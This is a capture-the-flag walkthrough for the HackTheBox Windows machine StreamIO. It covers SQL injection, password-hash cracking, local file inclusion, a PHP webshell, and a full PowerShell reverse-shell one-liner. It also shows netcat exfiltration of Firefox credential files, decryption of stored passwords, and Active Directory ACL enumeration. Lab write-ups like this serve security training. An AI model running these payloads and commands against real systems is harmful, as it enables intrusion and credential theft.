23 minute read

StreamIO is a medium level machine by JDgodd and nikk37 on HackTheBox. It’s A Windows box that focuses on recon and enumeration, with an interesting mix of tools and techniques used to complete it.

Machine Information


Our starting point on this box is taking advantage of a time based SQL injection to gather credentials. With access we now enumerate and fuzz to eventually find a method to get local file inclusion. We find a way to include a simple webshell on to a page and use this to get a reverse shell. We use this to find more credentials in another database which we can use with Evil-WinRM to connect as another user. Then we decrypt more credentials from a Firefox profile, which we can use to elevate our permissions to dump admin credentials from LAPS installed on the domain controller.

Hosting Site HackTheBox
Link To Machine HTB - Medium - StreamIO
Machine Release Date 4th June 2022
Date I Completed It 3rd July 2022
Distribution Used Kali 2022.1 – Release Info

Initial Recon

As always let’s start with Nmap:

└─# ports=$(nmap -p- --min-rate=1000 -T4 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

└─# nmap -p$ports -sC -sV -oA streamio
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-26 21:45 BST
Nmap scan report for
Host is up (0.028s latency).

53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-06-27 03:45:21Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| tls-alpn: 
|_  http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
|_ssl-date: 2022-06-27T03:46:51+00:00; +6h59m57s from scanner time.
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after:  2022-03-24T07:03:28
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49700/tcp open  msrpc         Microsoft Windows RPC
55635/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: mean: 6h59m57s, deviation: 0s, median: 6h59m56s
| smb2-time: 
|   date: 2022-06-27T03:46:14
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 102.14 seconds

This is a Windows box so we get a lot of open ports, we can see two names from the SSL cert so let’s add them before we get going:

└─# echo " streamIO.htb watch.streamIO.htb" >> /etc/hosts


Let’s look at the websites first:


This one doesn’t appear to do anything at first glance. Let’s look at the other:


This site also doesn’t do anything, there’s a login page here:


It doesn’t work though, even if you click on the register button and enter details. It says the account is created but you can’t login with it.

Let’s intercept with Burp and have a look:



Nothing of interest so i’ve right clicked and selected Save Item from the menu. Save the file, and switch to terminal to use it with SQLMap:

└─# sqlmap -r streamio.req
 ___ ___[)]_____ ___ ___  {1.6.4#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|___|
      |_|V...       |_|   https://sqlmap.org
[*] starting @ 22:33:24 /2022-06-26/

[22:33:24] [INFO] parsing HTTP request from 'streamio.req'
[22:33:27] [INFO] testing connection to the target URL
[22:33:28] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:33:28] [INFO] testing if the target URL content is stable
[22:33:29] [INFO] target URL content is stable
sqlmap identified the following injection point(s) with a total of 64 HTTP(s) requests:
Parameter: username (POST)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: username=pencer';WAITFOR DELAY '0:0:5'--&password=pencer
[22:34:32] [INFO] testing Microsoft SQL Server
[22:34:32] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
[22:34:42] [INFO] confirming Microsoft SQL Server DBMS delay responses (option '--time-sec')? [Y/n] 
[22:34:48] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 10 or 2019 or 2016
web application technology: Microsoft IIS 10.0, PHP 7.2.26
back-end DBMS: Microsoft SQL Server 2019
[22:34:48] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/streamio.htb'
[*] ending @ 22:34:48 /2022-06-26/

SQLMap has identified a time based vulnerability. If you’re interested in learning more on SQL injection I covered a good TryHackMe room here with all different types to play with. Back to this box, let’s get a list of databases:

└─# sqlmap -r streamio.req --dbs
[22:59:12] [INFO] retrieved: 
available databases [5]:
[*] model
[*] msdb
[*] streamio_backup
[*] tempdb
[*] ending @ 22:59:13 /2022-06-26/

The STREAMIO database sounds interesting as a starter, let’s find the tables in it:

└─# sqlmap -r streamio.req --tables -D STREAMIO
Database: STREAMIO
[2 tables]
| movies |
| users  |
[*] ending @ 23:01:52 /2022-06-26/

Let’s look at the columns of the user table:

└─# sqlmap -r streamio.req --columns -D STREAMIO -T users
Database: STREAMIO
Table: users
[4 columns]
| Column   | Type  |
| id       | int   |
| is_staff | bit   |
| password | nchar |
| username | nchar |
[*] ending @ 23:07:11 /2022-06-26/

Ok, so if you want to spend a long time watching SQLMap dump all users and passwords from the table then go for it:

└─# sqlmap -r streamio.req --dump -D STREAMIO -T users

If you want to just get the username and password we’re interested in then use a where clause to speed it up:

└─# sqlmap -r streamio.req --dump -D STREAMIO -T users -C username,password --where "id=31" --force-pivoting
[*] starting @ 22:08:54 /2022-06-27/
[22:09:18] [INFO] adjusting time delay to 1 second due to good response times
[22:13:48] [INFO] retrieved: yoshihide                                         
Database: STREAMIO
Table: users
[1 entry]
| username                                           | password                                           |
| yoshihide                                          | b779ba15cedfd22a023c4d8bcf5f2332                   |
[*] ending @ 22:19:30 /2022-06-27/

Note, for me yoshihide was id number 31, it might be different for you just try and adjust id number if necessary.

Crack Yoshihide Hash

With the password hash we can crack using JohnTheRipper:

└─# echo "b779ba15cedfd22a023c4d8bcf5f2332" > hash.txt

└─# john hash.txt --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
66boysandgirls.. (?)     
1g 0:00:00:01 DONE (2022-06-27 22:26) 0.8771g/s 10524Kp/s 10524Kc/s 10524KC/s 66che18bur17den..6698907
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.


Now we have credentials we can go back to the website and login:


The only difference when logged in is the top right corner link now says logout. With nothing more to look at let’s try Feroxbuster:

└─# feroxbuster -k -u https://streamio.htb/
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.0
 🎯  Target Url            │ https://streamio.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
 🏁  Press [ENTER] to use the Scan Management Menu™
301      GET        2l       10w      150c https://streamio.htb/admin => https://streamio.htb/admin/
200      GET      395l      915w    13497c https://streamio.htb/

We get a lot of responses but the interesting one is the first 301, which tells us the scanned URL of admin get’s redirected to /admin/. Let’s have a look:


We have a page with four links, each is a parameter:


The staff page lists the users we saw earlier when we used SQLMap to dump the table, and we see yoshihide at the bottom.


There’s nothing much here, let’s try fuzzing for more parameters but to do this we need to be logged in with a valid cookie. We can do it from the terminal:

└─# curl -s -o /dev/null -k -X POST --cookie 'PHPSESSID=3k47ea2n095607g9vukkpvhu72' --data-binary 'username=yoshihide&password=66boysandgirls..' 'https://streamio.htb/login.php'

This silently logs us in with a valid cookie using the credentials we found earlier. Now we’re authenticated we can use wfuzz to look at the parameter. Here’s a test that it works with those known parameters and a few wrong one’s to check the output:

└─# wfuzz -c -b PHPSESSID=3k47ea2n095607g9vukkpvhu72 -u 'https://streamio.htb/admin/?FUZZ=' -w fuzz.txt 
* Wfuzz 3.1.0 - The Web Fuzzer                         *
Target: https://streamio.htb/admin/?FUZZ=
Total requests: 10
ID           Response   Lines    Word       Chars       Payload
000000001:   200        62 L     160 W      2073 Ch     "user"
000000002:   200        398 L    916 W      12484 Ch    "staff"
000000003:   200        10790    25878 W    320235 Ch   "movie"
000000004:   200        49 L     131 W      1678 Ch     "message"
000000005:   200        49 L     131 W      1678 Ch     "aaaaaa"
000000006:   200        49 L     131 W      1678 Ch     "bbbbbbb"
000000007:   200        49 L     131 W      1678 Ch     "cccccccc"
000000008:   200        49 L     131 W      1678 Ch     "ddddddddd"

You see a 200 response for all attempts but the characters returned is greater for those known valid parameters. New we can use a wordlist and filter response to just see any that are valid. I used this from the Arjun repo:

└─# wfuzz -c -b PHPSESSID=3k47ea2n095607g9vukkpvhu72 --hh 1678 -u 'https://streamio.htb/admin/?FUZZ=' -w small.txt
* Wfuzz 3.1.0 - The Web Fuzzer                         *
Target: https://streamio.htb/admin/?FUZZ=
Total requests: 835
ID           Response   Lines    Word       Chars       Payload
000000187:   200        49 L     137 W      1712 Ch     "debug"
000000788:   200        62 L     160 W      2073 Ch     "user"
Total time: 0
Processed Requests: 835
Filtered Requests: 833
Requests/sec.: 0

I used the -hh parameter for wfuzz to hide any response with 1678 characters which we know are invalid from our earlier test. Out of the 835 it tried we see debug is a new one. If we try it we see something interesting in the response:

└─# curl -k --cookie "PHPSESSID=3k47ea2n095607g9vukkpvhu72" https://streamio.htb/admin/?debug=

Send that while we are logged in so the cookie is valid and we’ll get this response:

        <div id="inc">
            this option is for developers only

Local File Inclusion

After a little playing around we find we can use a php filter to achieve local file inclusion (LFI). This article briefly explains it. Also we’ve covered this before on the Timing and EarlyAccess boxes.

Let’s grab the index.php file so we can see it’s source code:

└─# curl -k --cookie "PHPSESSID=3k47ea2n095607g9vukkpvhu72" "https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php"

From the file we get back this part is interesting:

<!DOCTYPE html>
        <meta charset="utf-8">
        <title>Admin panel</title>
        <link rel = "icon" href="/images/icon.png" type = "image/x-icon">
                <div id="inc">
                        this option is for developers onlyPD9waHAKZGVmaW5lKCdpbmNsdWRlZCcsdHJ1ZSk7CnNlc3Npb25fc3RhcnQoKT

There’s a long base64 string at the end. Decode that and we have credentials for the database:

└─# echo "PD9waHAKZGVmaW5lKCdpbmNsdWRlZC <SNIP> KPC9odG1sPg==" > index.php.b64

└─# cat index.php.b64 | base64 -d
        header('HTTP/1.1 403 Forbidden');
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);

Not sure what we need those for yet, save for later.

More Wfuzz

We can fuzz to look for more php files now we know we can access them via the debug parameter:

└─# wfuzz -c -b PHPSESSID=3k47ea2n095607g9vukkpvhu72 --hh 1712 -u 'https://streamio.htb/admin/?debug=FUZZ' -w /usr/share/seclists/Discovery/Web-Content/Common-PHP-Filenames.txt
* Wfuzz 3.1.0 - The Web Fuzzer                         *
Target: https://streamio.htb/admin/?debug=FUZZ
Total requests: 5163
ID           Response  Lines      Word       Chars       Payload
000000002:   200       46 L       136 W      1693 Ch     "index.php"
000002123:   200       1584516 L  4546873 W  57765942 Ch "Index.php"
000003375:   200       11218 L    26841 W    344592 Ch   "master.php"
Processed Requests: 5163
Filtered Requests: 5160

We have a new file called master.php, let’s have a look at that:

└─# curl -k --cookie "PHPSESSID=3k47ea2n095607g9vukkpvhu72" "https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php"

We get the html back with another long base64 encoded string at the end. Decode it:

└─# echo "PGgxPk1vdmllIGwvaDE <SNIP> 8oIiAtL9DQo/Pg==" | base64 -d

Look at the end of the file:

<form method="POST">
<input name="include" hidden>
if($_POST['include'] !== "index.php" ) 
echo(" ---- ERROR ---- ");

We have some PHP at the end of the file that has an input field called include. It checks if the request has include in it, if it does and it’s not a value of index.php then it includes that in the page. Why would you do that? To allow us to do remote code execution of course!

Web Shell

This article explains how to base64 encode data URLs, and this has an example of exploiting it. We can use this to inject a simple PHP web shell on to the page like we did on Nineveh and more recently Timing.

First base64 encode this:


On Zsh you have to make it a variable by adding dollar at the start and then escape the apostrophe’s:

└─# echo -n $'system($_GET[\'cmd\']);' | base64

Now we can use that as a parameter to execute commands. We can use the same curl command as before, but now add the include data URL part with out base64 encoded system command. Then we can add our &cmd= parameter on the end, here I’ve put ipconfig as an example:

└─# curl -s -k -X POST --cookie 'PHPSESSID=3k47ea2n095607g9vukkpvhu72' --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7" 'https://streamio.htb/admin/?debug=master.php&cmd=ipconfig' | sed -n '/<input name="include" hidden>/,$p'
<input name="include" hidden>
Windows IP Configuration
Ethernet adapter Ethernet0 2:
   Connection-specific DNS Suffix  . : htb
   IPv6 Address. . . . . . . . . . . : dead:beef::1ce
   IPv6 Address. . . . . . . . . . . : dead:beef::8c24:df77:f0ea:ebe5
   Link-local IPv6 Address . . . . . : fe80::8c24:df77:f0ea:ebe5%12
   IPv4 Address. . . . . . . . . . . :
   Subnet Mask . . . . . . . . . . . :
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:6ddc%12

Reverse Shell

I’ve used sed to chop off the returned page all the way down to the bottom where our code output is returned. We could use this to do some recon, but really we just want a reverse shell so let’s do that. We’ll need a PowerShell one with this being a Windows box, use the Nishang one-liner here:

$client = New-Object System.Net.Sockets.TCPClient("",1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

i’ve just changed the IP and port to my Kali’s current one. Now base64 encode it on CyberChef:


Start nc listening on port 1337 in another terminal then use the same curl command as before but with our Powershell payload on it:

└─# curl -s -k -X POST --cookie 'PHPSESSID=3k47ea2n095607g9vukkpvhu72' --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7" 'https://streamio.htb/admin/?debug=master.php&cmd=powershell+-e+JABjAGwAaQBlAG4A <SNIP> vAHMAZQAoACkA'

Now switch to netcat to see we’re connected. Quick recon:

PS C:\inetpub\streamio.htb\admin> whoami

PS C:\inetpub\streamio.htb\admin> whoami /groups
Group Name                                  Type             SID          Attributes                                        
=========================================== ================ ============ ==================================================
Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity  Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448

PS C:\inetpub\streamio.htb\admin> net user
User accounts for \\DC
Administrator            Guest                    JDgodd                   
krbtgt                   Martin                   nikk37                   
The command completed successfully.


Ok, I admit this last part took me a while. I’d forgotten about the database credentials we found earlier. Anyway, the next step is look at the other database we found earlier. First we need to see if sqlcmd is installed:

PS C:\program files\microsoft sql server> gcm sqlcmd.exe | fl

Name            : SQLCMD.EXE
CommandType     : Application
Definition      : C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE
Extension       : .EXE
Path            : C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE
FileVersionInfo : File:             C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\SQLCMD.EXE
                  InternalName:     SQLCMD
                  OriginalFilename: SQLCMD.exe
                  FileVersion:      2019.0150.2000.05 ((SQLServer).190924-2033)
                  FileDescription:  T-SQL execution command line utility
                  Product:          Microsoft SQL Server
                  ProductVersion:   15.0.2000.5
                  Language:         English (United States)

It is which means we can interact with the sql server locally. First list all the databases:

PS C:\windows\temp> sqlcmd -S -U db_admin -P "B1@hx31234567890" -Q "SELECT name FROM sys.databases;"
(6 rows affected)

Let’s have a look at the backup database now we have access:

PS C:\windows\temp> sqlcmd -S -U db_admin -P "B1@hx31234567890" -Q "SELECT * FROM streamio_backup.information_schema.tables;"
------------------------ ---------------------- --------------------- ----------
streamio_backup          dbo                    movies                BASE TABLE
streamio_backup          dbo                    users                 BASE TABLE
(2 rows affected)

We have two tables in the database, let’s look at users:

PS C:\windows\temp> sqlcmd -S -U db_admin -P "B1@hx31234567890" -Q "SELECT COLUMN_NAME FROM streamio_backup.information_schema.columns where TABLE_NAME = 'users';"
(3 rows affected)

Usernames and passwords, just what we wanted:

PS C:\windows\temp> sqlcmd -S -U db_admin -P "B1@hx31234567890" -Q "USE streamio_backup; SELECT * FROM users;"
Changed database context to 'streamio_backup'.
id    username         password                                          
---- ----------------- -------------------------------
     1 nikk37          389d14cb8e4e9b94b137deb1caf0612a
     2 yoshihide       b779ba15cedfd22a023c4d8bcf5f2332
     3 James           c660060492d9edcaa8332d89c99c9239
     4 Theodore        925e5408ecb67aea449373d668b7359e
     5 Samantha        083ffae904143c4796e464dac33c1f7d
     6 Lauren          08344b85b329d7efd611b7a7743e8a09
     7 William         d62be0dc82071bccc1322d64ec5b6c51
     8 Sabrina         f87d3c0d6c8fd686aacc6627f1f493a5
(8 rows affected)

Crack Nikk37 Hash

We can crack them like before with JohnTheRipper:

└─# echo "389d14cb8e4e9b94b137deb1caf0612a" > nikk37.txt

└─# john nikk37.txt --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
get_dem_girls2@yahoo.com (?)     
1g 0:00:00:00 DONE (2022-06-30 21:45) 1.315g/s 10398Kp/s 10398Kc/s 10398KC/s getbenthelmet..get424
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.


We get a password for the user nikk37, so let’s use Evil-WinRM to get a shell as that user:

└─# apt install evil-winrm
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  evil-winrm libruby3.0 ruby-builder ruby-domain-name ruby-erubi ruby-gssapi ruby-gyoku ruby-http-cookie
  ruby-httpclient ruby-little-plugger ruby-logging ruby-multi-json ruby-nori ruby-ntlm ruby-oj ruby-sqlite3
  ruby-unf ruby-unf-ext ruby-winrm ruby-winrm-fs ruby3.0
The following packages will be upgraded:
  metasploit-framework ruby
2 upgraded, 21 newly installed, 0 to remove and 379 not upgraded.
Need to get 157 MB of archives.
After this operation, 75.5 MB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://kali.download/kali kali-rolling/main amd64 libruby3.0 amd64 3.0.3-1 [5,385 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 metasploit-framework amd64 6.1.39-0kali1 [151 MB]

└─# evil-winrm -i -u streamIO.htb\\nikk37 -p "get_dem_girls2@yahoo.com"
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nikk37\Documents>

We can grab the user flag:

*Evil-WinRM* PS C:\Users\nikk37> type desktop\user.txt

Now we are looking to escalate to administrator. There’s a clue if you look at the installed programs:

*Evil-WinRM* PS C:\Users\nikk37> dir "c:\Program Files (x86)"
    Directory: C:\Program Files (x86)
Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d-----        2/22/2022   1:54 AM            Microsoft SQL Server
d-----        2/22/2022   1:53 AM            Microsoft.NET
d-----        5/26/2022   4:09 PM            Mozilla Firefox
d-----        5/26/2022   4:09 PM            Mozilla Maintenance Service
d-----        2/25/2022  11:33 PM            PHP

Firefox Stored Creds

Why would Firefox be installed on a Domain Controller?

Of course this is our path, and luckily I covered this a while ago on a TryHackMe room called Gatekeeper so the steps are simple. First we need to grab the key4.db and logins.json files. For some reason the download feature of Evil-WinRM wouldn’t work so I used a static binary of netcat instead:

└─# wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip
--2022-06-30 22:57:48--  https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip
Resolving eternallybored.org (eternallybored.org)..., 2a01:260:4094:1:42:42:42:42
Connecting to eternallybored.org (eternallybored.org)||:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 111892 (109K) [application/zip]
Saving to: ‘netcat-win32-1.12.zip’
netcat-win32-1.12.zip       100%[=============================>] 109.27K  --.-KB/s    in 0.1s    
2022-06-30 22:57:49 (1011 KB/s) - ‘netcat-win32-1.12.zip’ saved [111892/111892]

└─# unzip netcat-win32-1.12.zip 
Archive:  netcat-win32-1.12.zip
  inflating: doexec.c                
  inflating: getopt.c                
  inflating: netcat.c                
  inflating: generic.h               
  inflating: getopt.h                
  inflating: hobbit.txt              
  inflating: license.txt             
  inflating: readme.txt              
  inflating: Makefile                
  inflating: nc.exe                  
  inflating: nc64.exe                

└─# python3 -m http.server 80
Serving HTTP on port 80 ( ...

With nc downloaded and a Python web server running to host, we also need to set nc listening locally for the file when we send it across:

└─# nc -nlvp 4444 > key4.db
listening on [any] 4444 ...

Here we’ve said whatever is recieved on port 4444 on Kali send it to a file called key4.db. Now over to the box to grab nc and use it to send the key4.db file:

*Evil-WinRM* PS C:\Users\nikk37\appdata\roaming\mozilla\firefox\profiles\br53rxeg.default-release> certutil -urlcache -f nc.exe
****  Online  ****
CertUtil: -URLCache command completed successfully.

*Evil-WinRM* PS C:\Users\nikk37\appdata\roaming\mozilla\firefox\profiles\br53rxeg.default-release> cmd /C "nc -nv 4444 < key4.db"
cmd.exe : (UNKNOWN) [] 4444 (?) open

Switch to Kali, ctrl+c netcat that’s received key4.db and start it again to receive the logins.json file:

└─# nc -nlvp 4444 > logins.json
listening on [any] 4444 ...

Now back to the box to send the logins file over:

*Evil-WinRM* PS C:\Users\nikk37\appdata\roaming\mozilla\firefox\profiles\br53rxeg.default-release> cmd /C "nc -nv 4444 < logins.json"
cmd.exe : (UNKNOWN) [] 4444 (?) open

Finally back to Kali, ctrl+c netcat to save the file. Now let’s grab firewpwd and run it against our files:

└─# wget https://github.com/lclevy/firepwd.git
--2022-06-30 22:25:04--  https://github.com/lclevy/firepwd.git
Resolving github.com (github.com)...
Connecting to github.com (github.com)||:443... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://github.com/lclevy/firepwd [following]
--2022-06-30 22:25:04--  https://github.com/lclevy/firepwd
Reusing existing connection to github.com:443.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: ‘firepwd.git’
firepwd.git   100%[======================>] 179.64K  --.-KB/s    in 0.1s  
2022-06-30 22:25:05 (1.76 MB/s) - ‘firepwd.git’ saved [183956]

└─# mv key4.db firepwd

└─# mv logins.json firepwd

└─# cd firepwd 

└─# pip install -r requirements.txt
Collecting PyCryptodome>=3.9.0
  Downloading pycryptodome-3.15.0-cp35-abi3-manylinux2010_x86_64.whl (2.3 MB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 2.3/2.3 MB 12.9 MB/s eta 0:00:00
Requirement already satisfied: pyasn1>=0.4.8 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (0.4.8)
Installing collected packages: PyCryptodome
Successfully installed PyCryptodome-3.15.0

└─# python3 firepwd.py
globalSalt: b'd215c391179edb56af928a06c627906bcbd4bd47'
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
       SEQUENCE {
         OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
         SEQUENCE {
           OCTETSTRING b'5d573772912b3c198b1e3ee43ccb0f03b0b23e46d51c34a2a055e00ebcd240f5'
clearText b'b3610ee6e057c4341fc76bc84cc8f7cd51abfe641a3eec9d0808080808080808'
decrypting login/password pairs

We have a new subdomain for slack with passwords decrypted for four users. Back to the box for more enumeration to find how we get to administrator.

AD Enumeration

Looking at users group membership:

*Evil-WinRM* PS C:\Users\nikk37\Documents> dsget user "CN=JDgodd,CN=Users,DC=streamIO,DC=htb" -memberof -expand
"CN=Domain Users,CN=Users,DC=streamIO,DC=htb"

*Evil-WinRM* PS C:\Users\nikk37\Documents> dsget user "CN=nikk37,CN=Users,DC=streamIO,DC=htb" -memberof -expand
"CN=Remote Management Users,CN=Builtin,DC=streamIO,DC=htb"
"CN=Domain Users,CN=Users,DC=streamIO,DC=htb"

*Evil-WinRM* PS C:\Users\nikk37\Documents> dsget user "CN=Martin Smith,CN=Users,DC=streamIO,DC=htb" -memberof -expand
"CN=Remote Management Users,CN=Builtin,DC=streamIO,DC=htb"
"CN=Domain Users,CN=Users,DC=streamIO,DC=htb"

If we look at domain groups we see an interesting one:

*Evil-WinRM* PS C:\Users\nikk37\Documents> net groups
Group Accounts for \\
*Cloneable Domain Controllers
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users

The group CORE STAFF stands out, look at it’s details we see nothing helpful:

*Evil-WinRM* PS C:\Users\nikk37\Documents> get-adgroup "core staff"
DistinguishedName : CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb
GroupCategory     : Security
GroupScope        : Global
Name              : CORE STAFF
ObjectClass       : group
ObjectGUID        : 113400d4-c787-4e58-91ad-92779b38ecc5
SamAccountName    : CORE STAFF
SID               : S-1-5-21-1470860369-1569627196-4264678630-1108

There’s also no members of it. If we look at it’s access control list (ACL):

*Evil-WinRM* PS C:\Users\nikk37\Documents> (Get-ACL "AD:$((Get-ADgroup "core staff").distinguishedname)").access
ActiveDirectoryRights : WriteOwner
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : streamIO\JDgodd
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

Why would JDgood account have explicit permissions as WriteOwner of it?

Looking for computer in the domains we see just one:

*Evil-WinRM* PS C:\Users\nikk37\Documents> get-adcomputer -filter *
DistinguishedName : CN=DC,OU=Domain Controllers,DC=streamIO,DC=htb
DNSHostName       : DC.streamIO.htb
Enabled           : True
Name              : DC
ObjectClass       : computer
ObjectGUID        : 8c0f9a80-aaab-4a78-9e0d-7a4158d8b9ee
SamAccountName    : DC$
SID               : S-1-5-21-1470860369-1569627196-4264678630-1000
UserPrincipalName :

And if we look at the ACL for the Domain Controllers OU that the DC sits in:

*Evil-WinRM* PS C:\Users\nikk37\Documents> Get-ADOrganizationalUnit -Filter * | %{(Get-ACL "AD:$($_.distinguishedname)").access} 
ActiveDirectoryRights : ReadProperty, ExtendedRight
InheritanceType       : Descendents
ObjectType            : a156e052-fb12-45bc-9a00-056271040d9f
InheritedObjectType   : bf967a86-0de6-11d0-a285-00aa003049e2
ObjectFlags           : ObjectAceTypePresent, InheritedObjectAceTypePresent
AccessControlType     : Allow
IdentityReference     : streamIO\CORE STAFF
IsInherited           : False
InheritanceFlags      : ContainerInherit
PropagationFlags      : InheritOnly

Finally another look at what software is installed:

*Evil-WinRM* PS C:\Users\nikk37\Documents> dir "c:\program files"
    Directory: C:\program files
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        2/22/2022   1:35 AM                Common Files
d-----        2/22/2022   2:57 AM                iis express
d-----        3/28/2022   4:46 PM                internet explorer
d-----        2/22/2022   2:14 AM                LAPS
d-----        2/22/2022   2:52 AM                Microsoft
d-----        2/22/2022   1:54 AM                Microsoft SQL Server
d-----        2/22/2022   1:53 AM                Microsoft Visual Studio 10.0

So what have we found?

We have the credentials for JDgodd, and he has permissions to alter membership of the CORE STAFF group. That group has permissions on the Domain Controllers OU, and LAPS is installed on the Domain Controller in that OU.


